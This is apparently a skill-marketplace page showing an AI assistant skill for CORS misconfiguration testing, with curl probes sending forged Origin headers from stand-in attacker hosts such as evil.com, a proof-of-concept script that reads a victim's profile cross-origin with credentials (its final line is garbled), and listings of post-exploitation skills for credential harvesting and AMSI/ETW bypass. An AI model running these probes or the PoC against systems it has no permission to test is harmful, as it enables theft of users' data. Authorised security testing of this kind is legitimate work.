用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill attack-cors命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | attack-cors |
| description | CORS misconfiguration testing — origin reflection, wildcard bypass, null origin, credential leakage |
| category | web-application |
| version | 1.0 |
| author | cyberstrike-official |
| tags | ["cors","web","owasp","access-control","attack"] |
| tech_stack | ["web"] |
| cwe_ids | ["CWE-942","CWE-346"] |
| chains_with | ["attack-open-redirect","attack-idor-automation"] |
| prerequisites | [] |
| severity_boost | {"attack-open-redirect":"CORS + open redirect = token theft via cross-origin request"} |
Identify Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-origin access to sensitive data or APIs.
Test if the server reflects arbitrary origins in Access-Control-Allow-Origin:
# Automated CORS checker (bundled script)
attack_script cors_checker https://TARGET/api/endpoint --json-output
Manual tests:
# Arbitrary origin
curl -s -H "Origin: https://evil.com" TARGET_URL -D- | grep -i "access-control"
# Subdomain bypass
curl -s -H "Origin: https://TARGET.evil.com" TARGET_URL -D-
# Null origin
curl -s -H "Origin: null" TARGET_URL -D-
# HTTP downgrade
curl -s -H "Origin: http://TARGET" TARGET_URL -D-
# Backtick bypass
curl -s -H "Origin: https://TARGET%60.evil.com" TARGET_URL -D-
# Underscore bypass
curl -s -H "Origin: https://TARGET_.evil.com" TARGET_URL -D-
# CRLF injection
curl -s -H "Origin: https://evil.com%0d%0a" TARGET_URL -D-
# Prefix matching bypass
curl -s -H "Origin: https://evil-TARGET" TARGET_URL -D-
If ACAO reflects attacker origin + ACAC is true:
<!-- PoC: reads victim data cross-origin -->
<script>
fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.( ( + (.(d))))
| Condition | Severity |
|---|---|
| Arbitrary origin reflected + credentials allowed | Critical (P1) |
| Arbitrary origin reflected, no credentials | Medium (P3) |
| null origin accepted + credentials allowed | High (P2) |
| Subdomain origin reflected + credentials | High (P2) |
| Wildcard ACAO with credentials | Medium (P3) |
Origin headerAccess-Control-Allow-Origin reflectionAccess-Control-Allow-Credentials: trueattack_script cors_checker — automated multi-origin testingcurl — manual header injectionmacOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
基于 SOC 职业分类